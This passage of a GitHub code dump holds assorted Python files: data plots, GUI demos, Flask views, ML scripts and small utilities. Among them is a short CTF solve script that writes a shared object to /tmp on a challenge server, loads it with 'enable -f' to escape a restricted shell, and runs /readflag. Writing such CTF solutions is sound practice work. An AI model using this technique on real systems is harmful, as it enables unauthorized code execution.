range(len(unit_speed))])\nlfp_type = pd.DataFrame(['LFP' for x in range(len(posdf['speed'][posdf['pval'] < 0.05]))])\nlfp_type.index += 13\n\nspeed_df = pd.DataFrame()\nspeed_df['speeds'] = pd.concat([unit_speed, posdf['speed'][posdf['pval'] < 0.05]])\nspeed_df = speed_df.reset_index(drop=True)\nspeed_df['type'] = pd.concat([unit_type, lfp_type])\n\n\nplt.figure()    \nsns.set_style('white')\npalette = ['darkslategray', 'cadetblue']\nax = sns.violinplot( x = speed_df['type'], y=speed_df['speeds'] , data = speed_df, dodge=False,\n                    palette = palette,cut = 2,\n                    scale=\"width\", inner=None)\nax.tick_params(bottom=True, left=True)\nxlim = ax.get_xlim()\nylim = ax.get_ylim()\nfor violin in ax.collections:\n    x0, y0, width, height = violin.get_paths()[0].get_extents().bounds\n    violin.set_clip_path(plt.Rectangle((x0, y0), width / 2, height, transform=ax.transData))\nsns.boxplot(x = speed_df['type'], y=speed_df['speeds'] , data = speed_df, saturation=1, showfliers=False,\n            width=0.3, boxprops={'zorder': 3, 'facecolor': 'none'}, ax=ax)\nold_len_collections = len(ax.collections)\nsns.swarmplot(x = speed_df['type'], y=speed_df['speeds'], data=b, color = 'k', dodge=False, ax=ax)\n# sns.stripplot(x = b['type'], y=b['corr'], data=b, color = 'k', dodge=False, ax=ax)\nfor dots in ax.collections[old_len_collections:]:\n    dots.set_offsets(dots.get_offsets())\nax.set_xlim(xlim)\nax.set_ylim(ylim)\nplt.ylabel('Velocity (mm/s)')\nax.set_box_aspect(1)\n\n\n# plt.title('DU Speed')\n# plt.boxplot(unit_speed, positions = [0], showfliers=False, patch_artist=True, boxprops=dict(facecolor='darkslategray', color='darkslategray'),\n#             capprops=dict(color='darkslategray'),\n#             whiskerprops=dict(color='darkslategray'),\n#             medianprops=dict(color='white', linewidth = 2))\n# plt.boxplot(posdf['speed'][posdf['pval'] < 0.05], positions = [0.3], showfliers=False, patch_artist=True, boxprops=dict(facecolor='darkslategray', color='darkslategray'),\n#             capprops=dict(color='darkslategray'),\n#             whiskerprops=dict(color='darkslategray'),\n#             medianprops=dict(color='white', linewidth = 2))\n\n# x1 = np.random.normal(0.3, 0.01, size=len(posdf['speed'][posdf['pval'] < 0.05]))\n# x2 = np.random.normal(0, 0.01, size=len(unit_speed))\n# plt.plot(x1, posdf['speed'][posdf['pval'] < 0.05], '.', color = 'k', fillstyle = 'none', markersize = 8, zorder =3)\n# plt.plot(x2, unit_speed, '.', color = 'k', fillstyle = 'none', markersize = 8, zorder =3)\n# plt.xticks([0, 0.3],['Spikes', 'LFP'])\n# plt.ylabel('Velocity (mm/s)')  \n\nt,p = mannwhitneyu(unit_speed,posdf['speed'][posdf['pval'] < 0.05])\n\n    \n#%%\n#Units vs LFP\n\n# plt.figure()\n# plt.scatter(a['allcoefs_up_ex'],poscorr_df['poscorr'])\n# plt.xlabel('Unit R (DU)')\n# plt.ylabel('LFP R (DU)')\n\n# plt.figure()\n# plt.scatter(a['allcoefs_dn_ex'],negcorr_df['negcorr'])\n# plt.xlabel('Unit R (UD)')\n# plt.ylabel('LFP R (UD)')\n\n#%% \n\n#Run adrian_hist_PETH_dn before running this\n\ncorr, p = pearsonr(a['allcoefs_up_ex'],DU_df['DU'])\nm,b = np.polyfit(a['allcoefs_up_ex'],DU_df['DU'],1)\ny = m*a['allcoefs_up_ex'] + b\n\nplt.figure()\nplt.scatter(a['allcoefs_up_ex'],DU_df['DU'], label = 'R = ' + str(round(corr,2)), color = 'k')\nplt.plot(a['allcoefs_up_ex'],y, color = 'k')\nplt.xlabel('Unit R (DU)')\nplt.ylabel('LFP differential R (DU)')\nplt.yticks([-1, -0.5, 0, 0.5, 1])\nplt.xticks([-0.5, -0.25, 0, 0.25])\nplt.legend(loc = 'upper right')\nplt.gca().set_box_aspect(1)\n\n#%%\n\n# plt.figure()\n# plt.scatter(a['allcoefs_dn_ex'],UD_df['UD'])\n# plt.xlabel('Unit R (UD)')\n# plt.ylabel('LFP differential R (UD)')\n\n    ","repo_name":"dhruvm9/PoSub-UPState","sub_path":"adrian_gamma_PETH_quant.py","file_name":"adrian_gamma_PETH_quant.py","file_ext":"py","file_size_in_byte":25177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"12787666002","text":"##############\n# Question 2 #\n##############\n# Example of a program that uses the widgets\n\n# import tkinter\nfrom tkinter import Tk, Frame\nfrom tkinter import Checkbutton, Radiobutton, Button, Text, Message, Label, Entry\nfrom tkinter import IntVar, StringVar, END\n\nclass widgetsDemo:\n    def __init__(self):\n\n        # create the window\n        window = Tk()\n        window.title(\"Widget Demo\")\n\n        # create the first frame\n        frame1 = Frame(window)\n        frame1.pack()\n\n        # create variables for buttons and create the buttons\n        self.v1 = IntVar()\n        cbtBold = Checkbutton(frame1, text = \"Bold\", variable = self.v1, command = self.processCheckbutton)\n        self.v2 = IntVar()\n        rbRed = Radiobutton(frame1, text = \"Red\", bg = \"red\", variable = self.v2, value = 1, command = self.processRadiobutton)\n        rbYellow = Radiobutton(frame1, text = \"Yellow\", bg = \"yellow\", variable = self.v2, value = 2, command = self.processRadiobutton)\n        \n        # set the buttons in the frame\n        cbtBold.grid(row = 1, column = 1)\n        rbRed.grid(row = 1, column = 2)\n        rbYellow.grid(row = 1, column = 3)\n\n        # create the second frame\n        frame2 = Frame(window)\n        frame2.pack()\n\n        # create labels and entry and button and message\n        label = Label(frame2, text = \"Enter Your Name: \")\n        self.name = StringVar()\n        entryName = Entry(frame2, textvariable = self.name)\n        btGetName = Button(frame2, text = \"Get Name\", command = self.processButton)\n        message = Message(frame2, text = \"This is the Message Widget\")\n\n        # position what we just made\n        label.grid(row = 1, column = 1)\n        entryName.grid(row = 1, column = 2)\n        btGetName.grid(row = 1, column = 3)\n        message.grid(row = 1, column = 4)\n\n        # create a text window and add text to it\n        text = Text(window)\n        text.pack()\n        text.insert(END, \"Tip\\nThe Best way to learn tkinter is to read \")\n        text.insert(END, \"these carefully designed examples and use them \")\n        text.insert(END, \"to create your application\")\n\n        window.mainloop()\n\n    # functions for processing button clicks\n    def processCheckbutton(self):\n        print(f\"check button is {'checked' if self.v1.get() == 1 else 'unchecked'}\")\n\n    def processRadiobutton(self):\n        print(f\"{'Red' if self.v2.get() == 1 else 'Yellow'} is selected\")\n\n    def processButton(self):\n        print(f\"Your name is {self.name.get()}\")\n\n# run everything\nwidgetsDemo()\n","repo_name":"bunnycou/CSET-Work","sub_path":"Lab Practice/wk7/Q2.py","file_name":"Q2.py","file_ext":"py","file_size_in_byte":2520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18437623464","text":"import cv2\nimport random\nimport os\nimport argparse as ap\n\nsrcDir=\"autobahn\"\ndstDir=\"cropped_autobahn\"\n\nimgs = []\nfor x in os.listdir(os.path.join(\".\",srcDir)):\n    imgs.append(x)\nselected_imgs = random.sample(imgs,18)\n\nh=95\nw=35\n\nfor fileName in os.listdir(os.path.join(\".\",srcDir)):\n    if fileName in selected_imgs:\n        print(fileName)\n        img = cv2.imread(os.path.join(\".\",srcDir,fileName))\n        count=1\n        while 1:\n            if type(img) is not None:\n                y = random.randint(0, img.shape[0]-h)\n                x = random.randint(0, img.shape[1]-w)\n                cropImg = img[(y):(y + h), (x):(x + w)]\n                cv2.imwrite(os.path.join(\".\",dstDir,os.path.splitext(os.path.basename(fileName))[0]+str(count)+\".jpg\"), cropImg)\n                count+=1\n                if count==20:\n                    break\n            else:\n                break\n","repo_name":"zhangxiutao/AIScripts","sub_path":"playGround/randomCrop.py","file_name":"randomCrop.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28349896953","text":"import numpy as np \r\nimport matplotlib.pyplot as plt\r\nimport os\r\nimport cv2 \r\nimport random\r\nimport pickle\r\n\r\n# imageDirectory = \"img_data/\"\r\ngenres = [\"blues\", \"classical\", \"country\", \"disco\",\r\n          \"hiphop\", \"jazz\", \"metal\", \"pop\", \"reggae\", \"rock\"] \r\n          \r\n\r\n# for i in genres:\r\n#         imagePath = i+\"/\"\r\n#         imageDirectory = os.path.join(\"img_data/\", imagePath)\r\n#         fileName = os.listdir(imageDirectory)\r\n#         for img in fileName:\r\n#                 img_array = cv2.imread(os.path.join(imageDirectory, img))\r\n#                 # plt.imshow(img_array)\r\n#                 # plt.show()\r\n#                 break\r\n#         break\r\n\r\n# print(img_array[200][150][0])\r\n\r\n\r\ntraining_data=[]\r\ndef create_training_data():\r\n    for g in genres:\r\n        imagePath = g+\"/\"\r\n        imageDirectory = os.path.join(\"img_data/\", imagePath)\r\n        fileName = os.listdir(imageDirectory)\r\n        # Finding the index for each category to label our images\r\n        classNum = genres.index(g)\r\n        print (\"Creating Training DataSet from Images for \"+g.upper()+\"...\")\r\n        for img in fileName:\r\n                try:\r\n                        imgArray = cv2.imread(os.path.join(imageDirectory, img))\r\n                        # print(imgArray.shape[0])\r\n                        training_data.append([imgArray, classNum])\r\n                except Exception as e:\r\n                        print(\"An error occurred while creating trainning data \\n\")\r\n                # break\r\n        print(\"Completed Dataset for genre: \"+g.upper()+\"\\n\")\r\n        # break\r\n\r\ncreate_training_data()\r\nprint(\"Length of Training Data is:\")\r\nprint(len(training_data))\r\nprint(\" \")\r\n# print(training_data[::1])\r\n\r\n\r\n# We shuffle the data to ensure correct learning instead of memorization\r\nrandom.shuffle(training_data)\r\n\r\n# for sample in training_data[:10]:\r\n#         print(\"Shuffled Training labels: \",sample[1])\r\n\r\nX = []\r\ny = []\r\nfor features, label in training_data:\r\n        X.append(features)\r\n        y.append(label)\r\n\r\nX = np.array(X).reshape(-1, 490, 1075, 3)\r\n\r\nprint(\"Saving X\")\r\n# np.save(\"X_data\", X)\r\nprint(\"Finished Saving X \\n\")\r\nprint(X.shape)\r\n\r\n# pickleOut = open(\"y.pickle\", \"wb\")\r\nprint(\"Pickling Y\")\r\n# pickle.dump(y, pickleOut)\r\n# pickleOut.close()\r\nprint(\"Finished pickling Y \\n\")\r\n\r\n# pickleIn = open(\"X.pickle\", \"rb\")\r\n# print(\"Reading pickled X\")\r\n# X = pickle.load(pickleIn)\r\n\r\n# print(X[1])\r\n# print(\"Checking to see if our saved data works\")\r\n# loadedX = np.load('X_data.npy')\r\n# print(loadedX)\r\n\r\n","repo_name":"ammanviii/JAB_DL_Project","sub_path":"creatingDatasets.py","file_name":"creatingDatasets.py","file_ext":"py","file_size_in_byte":2522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"35138251833","text":"#!/usr/bin/env python\n#\n#This program demonstrates use of argparse\n# argparse is a standard library which makes interpreting commandline arguments\n# lot of fun, with very little coding on dev end .Behind the scene it makes use\n# of argv only, however it has lot of error handling, documentation and \n# standardization, so that dev has to spend less time building!\n\nimport argparse\n\nparser = argparse.ArgumentParser(description=\"The program reverses the text\")\nparser.add_argument(\"filename\",help=\"input file for reading data  \")\nparser.add_argument(\"--limit\",\"-l\", type=int, help=\"The number of lines to read\")\nparser.add_argument(\"--version\", \"-v\", action=\"version\", version=\"%(prog)s 0.1\")\n\nargs=parser.parse_args()\n#print(args)\nwith open(args.filename) as file:   # open the file\n    lines = file.readlines()        # reading file content into lines\n    \n    if args.limit:\t\t    # if a limit is given by user, stick to only that many lines\n       lines=lines[:args.limit]\n\n    for line in lines:\n       print(line.strip()[::-1])    # remove the whitespace and read\n","repo_name":"faintdream/python3","sub_path":"argparse_example.py","file_name":"argparse_example.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22778457720","text":"from linebot.models import (\n    TemplateSendMessage, ConfirmTemplate, PostbackTemplateAction,\n)\n\nfrom .get_question_db import get_category             #DB抓问题\n\n\ndef confirm(cat, i, db):\n    questions = get_category(cat, db)\n    #这里i 不用 -= 1 是因为data[userid][cat]是从 0开始计算\n    return   TemplateSendMessage(\n                alt_text='Confirm template',\n                template=ConfirmTemplate(\n                    text = str(questions[i][2]) + ' Q' + str(questions[i][3]) + ' : ' + questions[i][1],\n                    actions=[\n                        PostbackTemplateAction(\n                            label='没问题',\n                            text=str(questions[i][2]) + ' 第' + str(questions[i][3]) + '题已回复没问题',  #给使用者看相对题号\n                            data='no=' + str(questions[i][0]) + '&answer=OK' #questions是整份问卷第几题 绝对题号\n                        ),\n                        PostbackTemplateAction(\n                            label='待改进',\n                            text=str(questions[i][2]) + ' 第' + str(questions[i][3]) + '题已回复待改进', #给使用者看相对题号\n                            data='no=' + str(questions[i][0]) + '&answer=NO'\n                        )\n                    ]\n                ))\n\n    # 功能：从DB抓问题，编织成confirm tempate\n    # 输入：1.cat ： 类别\n    #      2. i  ： 绝对题号\n    # 输出：ConfirmTemplate with question\n","repo_name":"Bourbon0212/Protect-me-Diana","sub_path":"questionnaire/confirm.py","file_name":"confirm.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"74196905657","text":"#!usr/bin/env python\n# -*- coding:utf-8 -*-\nfrom flask import render_template, redirect, url_for, flash, request\nfrom flask_login import login_user, login_required, current_user\nfrom werkzeug.exceptions import abort\n\nfrom . import main\nfrom app_demo.decorators import admin_required\nfrom app_demo.email import send_email\nfrom app_demo.models import User, Permission, Role, Post, Comment\nfrom .forms import EditProfileForm, EditProfileAdminForm, PostForm, CommentForm\nfrom .forms import LoginForm, RegistrationForm\n\n\n@main.route('/', methods=['GET', 'POST'])\ndef index():\n    # 博文视图\n    form_post = PostForm()\n    page = request.args.get('page', 1, type=int)\n    pagination = Post.query.order_by(Post.timestamp.desc()).paginate(page, per_page=10, error_out=False)\n    posts = pagination.items\n    # 登录\n    form_login = LoginForm()\n    if form_login.validate_on_submit():\n        user = User.query.filter_by(email=form_login.email.data).first()\n        if user is not None and user.verify_password(form_login.password.data):\n            login_user(user)\n            return redirect(request.args.get('next') or url_for('.index'))\n        flash('用户名或密码错误')\n    # 注册\n    form_register = RegistrationForm()\n    if form_register.validate_on_submit():\n        user = User(email=form_register.email.data,\n                    username=form_register.username.data,\n                    password=form_register.password.data)\n        db.session.add(user)\n        db.session.commit()\n        token = user.generate_confirmation_token()\n        send_email(user.email, '请确认你的账户', 'auth/email/confirm',\n                   user=current_user, token=token)\n        flash('验证邮件已经发往你的邮箱。')\n        return redirect(url_for('.index'))\n\n    return render_template('index.html', form_post=form_post,\n                           form_login=form_login, form_register=form_register,\n                           posts=posts, pagination=pagination)\n\n\n@main.route('/user/<username>')\ndef user(username):\n    user = User.query.filter_by(username=username).first()\n    if user is None:\n        abort(404)\n    posts = user.posts.order_by(Post.timestamp.desc()).all()\n    return render_template('user.html', user=user, posts=posts)\n\n\n@main.route('/edit-profile', methods=['GET', 'POST'])\n@login_required\ndef edit_profile():\n    form = EditProfileForm()\n    if form.validate_on_submit():\n        current_user.name = form.name.data\n        current_user.location = form.location.data\n        current_user.about_me = form.about_me.data\n        db.session.add(current_user)\n        flash('修改已保存')\n        return redirect(url_for('.user', username=current_user.username))\n    form.name.data = current_user.name\n    form.location.data = current_user.location\n    form.about_me.data = current_user.about_me\n    return render_template('edit_profile.html', form=form)\n\n\n@main.route('/edit-profile/<user_id>', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef edit_profile_admin(user_id):\n    user = User.query.get_or_404(user_id)\n    form = EditProfileAdminForm(user=user)\n    if form.validate_on_submit():\n        user.email = form.email.data\n        user.username = form.username.data\n        user.confirmed = form.confirmed.data\n        user.role = Role.query.get(form.role.data)\n        user.name = form.name.data\n        user.location = form.location.data\n        user.about_me = form.about_me.data\n        flash('修改已保存')\n        return redirect(url_for('.user', username=current_user.username))\n    form.email.data = user.email\n    form.username.data = user.username\n    form.confirmed.data = user.confirmed\n    form.role.data = user.role\n    form.name.data = user.name\n    form.location.data = user.location\n    form.about_me.data = user.about_me\n    return render_template('edit_profile.html', form=form, user=user)\n\n\n@main.route('/post/<user_id>', methods=['GET', 'POST'])\ndef post(user_id):\n    post = Post.query.get_or_404(user_id)\n    form = CommentForm()\n    if form.validate_on_submit():\n        comment = Comment(body=form.body.data, post=post, author=current_user._get_current_object())\n        db.session.add(comment)\n        return redirect(url_for('.post', id=post.id, page=-1))\n    page = request.args.get('page', 1, type=int)\n    if page == -1:\n        page = (post.comments.count() - 1) // 10 + 1\n    pagination = post.comments.order_by(Comment.timestamp.asc()).paginate(\n        page, per_page=10, error_out=False)\n    comments = pagination.items\n    return render_template('post.html', posts=[post], form=form, comments=comments, pagination=pagination)\n\n\n@main.route('/edit/<user_id>', methods=['GET', 'POST'])\n@login_required\ndef edit(user_id):\n    post = Post.query.get_or_404(user_id)\n    if current_user != post.author and not current_user.can(Permission.ADMINISTER):\n        abort(403)\n    form = PostForm()\n    if form.validate_on_submit():\n        post.title = form.title.data\n        post.body = form.body.data\n        db.session.add(post)\n        flash('编辑已保存！')\n        return redirect(url_for('.post', id=post.id))\n    form.body.data = post.body\n    form.title.data = post.title\n    return render_template('edit_post.html', form=form)\n\n\n@main.route('/write', methods=['GET', 'POST'])\n@login_required\ndef write():\n    form = PostForm()\n    if current_user.can(Permission.WRITE_ARTICLES) and form.validate_on_submit():\n        post = Post(title=form.title.data, body=form.body.data,\n                    author=current_user._get_current_object())\n        db.session.add(post)\n        flash('发表成功！')\n        return redirect(url_for('.index'))\n    return render_template('write.html', form=form, file_url=file_url)\n","repo_name":"Gnatnaituy/demos","sub_path":"python/Flasky/app_demo/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"21973440257","text":"from datatime import datetime\nfrom django.shortcuts import render\n\n# data_em_texto = data_atual.strftime('%d/%m/%Y')\n# print(data_em_texto) \n\ndef feriado():\n    data_atual = date.now().date()\n    print(data_atual)\n    if data_atual.month == 12 and data_atual.day == 25:\n        return 'É natal'\n    elif data_atual.month == 4 and data_atual.day == 21:\n        return 'É tiradentes'\n    else:\n        return 'Não é nenhum dos feriados'\n\ndef natal(request):\n    mensagem = {\n        'mensagem': feriado() == 'É natal'\n    }\n    return render(request, 'index.html', mensagem)\n\ndef tiradentes(request):\n    mensagem = {\n        'mensagem': feriado() == 'É tiradentes'\n    }\n    return render(request, 'index.html', mensagem)","repo_name":"stehmorais/projeto_django","sub_path":"projeto/feriados/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"10090139385","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Dec  7 13:32:25 2021\r\n\r\n@author: yohan\r\n\"\"\"\r\nimport pandas as pd\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.model_selection import train_test_split\r\n#from wordcloud import WordCloud\r\n\r\n\r\ndef model_fitfunction(independent_variable, dependent_variable, model,clf_model,coef_show=1):\r\n    \r\n    X_c = model.fit_transform(independent_variable)\r\n    print('# features: {}'.format(X_c.shape[1]))\r\n    X_train, X_test, y_train, y_test = train_test_split(X_c, dependent_variable, random_state=0)\r\n    print('# train records: {}'.format(X_train.shape[0]))\r\n    print('# test records: {}'.format(X_test.shape[0]))\r\n    clf = clf_model.fit(X_train, y_train)\r\n    acc = clf.score(X_test, y_test)\r\n    print ('Model Accuracy: {}'.format(acc))\r\n    \r\nreviews = pd.read_csv('Reviews.csv')\r\nreviews.dropna(inplace=True)\r\n\r\n# checking if there is any null value\r\nreviews.isnull().sum()\r\nreviews.head()\r\nreviews.columns\r\n\r\nindependent_variable=reviews['Text'] \r\ndependent_variable=reviews['Score']\r\n\r\nc = CountVectorizer(stop_words = 'english')\r\nmodel_fitfunction(independent_variable, dependent_variable, c, LogisticRegression())\r\n\r\n\r\ntfidf = TfidfVectorizer(stop_words = 'english')\r\nmodel_fitfunction(independent_variable, dependent_variable, tfidf, LogisticRegression())\r\n\r\ntfidf_n = TfidfVectorizer(ngram_range=(1,2),stop_words = 'english')\r\nmodel_fitfunction(independent_variable, dependent_variable, tfidf_n, LogisticRegression())","repo_name":"yohana29/Amazon-food-review","sub_path":"bdap_project.py","file_name":"bdap_project.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"23187983235","text":"#!/usr/bin/env python3\nimport chess\nimport chess.pgn\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom typing import List, Tuple, Dict, Union\n\n\n\n\ndef uci_to_1d_array_index(uci: str) -> int:\n    \"\"\"\"\n    Converts uci notation to 1d array indexing.\n\n      a b c\n     ------\n    8|1 2 3   -->  [1, 2, 3, 4, 5, 6, 7, 8, 9]\n    7|4 5 6\n    6|7 8 9\n\n    # I've actually forgotten what corner it starts in :|\n\n    Also accounts for promotions\n    \"\"\"\n    if len(uci) == 5:\n        uci = uci[:-1]\n    return abs(int(uci[-1]) - 8)*8 + (ord(uci[-2]) - ord('a'))\n\n\ndef piece_delta(board: chess.Board, count: int, piece_count: Dict[int, int],\n                colour: bool) -> Tuple[int, int, int]:\n    \"\"\"\n    Returns a tuple of the key (e.g. chess.PAWN), restult from\n    uci_to_1d_array_index, and move the piece was lost on.\n\n    Detects when a piece is lost by counting the number of ones on the piece\n    board mask and tracking the previous value.\n\n    Would be really nice if the devs merged this :|\n    https://github.com/niklasf/python-chess/pull/296/commits/498dd015cbffffb57bc7ef2a6d097fb6d9340eed\n    \"\"\"\n    piece_position = (0, 0, 0)\n    # print(piece_count)\n    for key, value in piece_count.items():\n        # print(key, value)\n        current_count = bin(board.pieces_mask(key, colour)).count('1')  # REQUIRES THE MOVE BE MADE (CAPTURED)\n        if current_count < value: # Detects lost based on previous state\n            piece_position = (key, uci_to_1d_array_index(board.peek().uci()), count)\n            piece_count[key] = current_count # Modify by object-reference\n            break\n        elif current_count > value: # Accounts for promotion\n            piece_count[key] = current_count # Modify by object-reference\n            piece_count[chess.PAWN] = bin(board.pieces_mask(chess.PAWN, colour)).count('1')  # Account for pawn count change\n            break\n    return piece_position # piece id, position, count\n\n\ndef get_captures(board: chess.Board, prev_moce: chess.Move, count: int, piece_count: Dict[int, int]) \\\n                -> Tuple[int, int, int]:\n\n    if not board.is_en_passant(prev_moce): # is it not en passant, the norm\n        piece = piece_delta(board, count, piece_count, board.turn)\n    else: # needs seperate code path\n        piece = (1, uci_to_1d_array_index(prev_moce.uci()), count)\n    return piece\n\n\ndef process_game(game: chess.pgn.Game, number_of_moves: int = 0) \\\n                -> Tuple[List[Tuple[int, int, int]], List[Tuple[int, int, int]]]:\n\n    board = game.board()\n    piece_count = (\n        # chess.BLACK\n        {\n            chess.BISHOP: 2,\n            chess.ROOK: 2,\n            chess.KNIGHT: 2,\n            chess.QUEEN: 1,\n            chess.PAWN: 8,\n        },\n        # chess.WHITE\n        {\n            chess.BISHOP: 2,\n            chess.ROOK: 2,\n            chess.KNIGHT: 2,\n            chess.QUEEN: 1,\n            chess.PAWN: 8,\n        }\n )\n    lost_pieces = ([], # chess.BLACK\n                   []) # chess.WHITE\n\n    for move in game.mainline_moves():\n        count = len(board.move_stack)\n        board.push(move)\n        turn = board.turn\n\n        # Get captures on this turn\n        if board.is_capture(board.peek()):\n            piece = get_captures(board, board.peek(), count, piece_count[turn])\n            # print(board.is_capture(board.peek()))\n            if piece[0]:\n                lost_pieces[turn].append(piece)\n        if (count >= number_of_moves) and number_of_moves: # Stop after moving n times and n is non-zero\n            break\n\n    return lost_pieces\n\n\ndef in_range(lower: Union[int, pd.Timestamp], df, upper: Union[int, pd.Timestamp]):\n    return (df > lower) & (df <= upper)\n","repo_name":"Jake-Moss/chess-analysis","sub_path":"processing.py","file_name":"processing.py","file_ext":"py","file_size_in_byte":3689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20198616001","text":"from time import *\r\nimport random as r\r\n\r\ndef mistake(paragraph, userinput):\r\n    error = 0\r\n    for i in range(len(paragraph)):\r\n        try:\r\n            if paragraph[i] != userinput[i]:\r\n                error = error + 1\r\n        except:\r\n            error = error + 1\r\n    return error\r\n\r\ndef speedtime(timestart, timeend,userinput):\r\n    time_delay= timeend - timestart\r\n    time_R = round(time_delay, 2)\r\n    speed = len(userinput)/time_R\r\n    return round(speed)\r\n\r\n\r\ntest =[\"This will get you the bleeding-edge syntax highlighting for C++. Which means your theme will be able to color your code better. This used to be a fix, but then VS Code starting using it as the official source for C and C++ highlighting.\", \"Run code snippet or code file for multiple languages: C, C++, Java, JavaScript, PHP, Python, Perl, Perl 6, Ruby, Go, Lua, Groovy, PowerShell, C# Script, C#, VBScript, TypeScript, CoffeeScript, Scala, Swift, Julia, Crystal, OCaml Script, R, AppleScript, Elixir, Visual Basic .NET, Clojure, Haxe, Objective-C, Rust, Racket, Scheme, AutoHotkey, AutoIt, Kotlin, Dart, Free Pascal, Haskell, Nim, D, Lisp, Kit, V, SCSS, Sass, CUDA, Less, Fortran, Ring, and custom command\"]\r\n\r\nwhile True:\r\n    newTest = input(\"\\nWanna test your Speed?? Press n for No and Y for Yes: \")\r\n    if newTest =='y':\r\n        test1 = r.choice(test)\r\n        print(\"\\n\\t\\t***** Typing Speed ******\\n\")\r\n        print(test1)\r\n        print(\"\\n\")\r\n\r\n        time1= time()\r\n        testinput= input(\"Enter: \\n\")\r\n        time2= time()\r\n\r\n        print(\"Speed : \", speedtime(time1, time2,testinput), \"w/sec\")\r\n        print(\"Error : \", mistake(test1, testinput))\r\n    else: \r\n        print(\"Thanks For Testing Your Speed\")\r\n        break","repo_name":"itzHarsh7/Python-Projects","sub_path":"TypingSpeedCalculator.py","file_name":"TypingSpeedCalculator.py","file_ext":"py","file_size_in_byte":1725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9546874964","text":"import sys\nfrom PySide6.QtWidgets import QApplication, QMainWindow, QLabel, QLineEdit, QPushButton\n\nclass MainWindow(QMainWindow):\n    def __init__(self):\n        super().__init__()\n\n        self.setWindowTitle(\"area de um quadrado o dobro\")\n        self.setGeometry(100, 100, 300, 150)\n\n        self.label1 = QLabel(\"Número 1:\", self)\n        self.label1.setGeometry(10, 10, 80, 30)\n\n        self.input1 = QLineEdit(self)\n        self.input1.setGeometry(100, 10, 80, 30)\n\n        self.result_label = QLabel(self)\n        self.result_label.setGeometry(10, 90, 280, 30)\n\n        self.button = QPushButton(\"Calcular\", self)\n        self.button.setGeometry(190, 10, 100, 70)\n        self.button.clicked.connect(self.calcular_area_do_quadrado)\n\n    def calcular_area_do_quadrado(self):\n        try:\n            num1 = float(self.input1.text())\n            area = num1**2\n            area_dobro = area*2\n            self.result_label.setText(f\"area do quadrado : {area}\\n o dobro da area: {area_dobro}\")\n        except ValueError:\n            print( 'Digite apenas numeros sem spaço ou letras')\n\nif __name__ == \"__main__\":\n    app = QApplication(sys.argv)\n\n    window = MainWindow()\n    window.show()\n\n    sys.exit(app.exec())\n\n","repo_name":"DiegoYokoyama/codigos_das_aulas","sub_path":"aula do mes de agosto/aula dia 01-08-2023/pyside exer 8.py","file_name":"pyside exer 8.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"4318391907","text":"from pwn import *\n\n# context.log_level = \"debug\"\n\nwith open(\"./run.so\", \"rb\") as f:\n    encoded = \"\".join([f\"\\\\x{x:02x}\" for x in f.read()])\n\nio = remote(\"puzzler7.imaginaryctf.org\", 29466)\nio.sendline(f\"printf '{encoded}' > /tmp/run.so\".encode())\nio.sendline(b\"enable -f /tmp/run.so run\")\nio.sendline(b\"run /readflag\")\nio.sendline(b\"run /bin/rm /tmp/run.so\")\nio.interactive()\n","repo_name":"maple3142/My-CTF-Challenges","sub_path":"ImaginaryCTF/Round 26/freeshell/solution/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"22"}
+{"seq_id":"9548340930","text":"from sklearn.utils.class_weight import compute_class_weight\n\nimport os\nimport sys\nimport time\nimport numpy as np\nimport pandas as pd\nimport cv2\nimport PIL.Image\nfrom tqdm import tqdm\nfrom sklearn.metrics import roc_auc_score\n\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler, RobustScaler, QuantileTransformer\n\nimport torch\nfrom torch.utils.data import TensorDataset, DataLoader,Dataset\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nimport torchvision.transforms as transforms\nimport torch.optim as optim\nimport albumentations as A\n\nfrom args import args\nfrom loss import loss_fn\nfrom evaluation import comp_metric\n\ndef train_epoch(metric_crit, epoch, model, loader, optimizer):\n    criterion = nn.CrossEntropyLoss()\n    model.train()\n    train_loss = []\n    arcface = []\n    bar = tqdm(loader)\n    for batch in bar:\n        batch['input'] = batch['input'].to(args.device)\n        batch['target'] = batch['target'].to(args.device)\n        \n        \n\n        logits = model(batch['input'])\n        loss = loss_fn(metric_crit, batch, logits)\n        loss.requires_grad_(True)\n\n        if not torch.isfinite(loss):\n            print('WARNING: non-finite loss, ending training ')\n\n            print(loss, batch, logits, batch['input'].shape, batch['target'].shape)\n            exit(1)\n\n        if args.arcface_s is 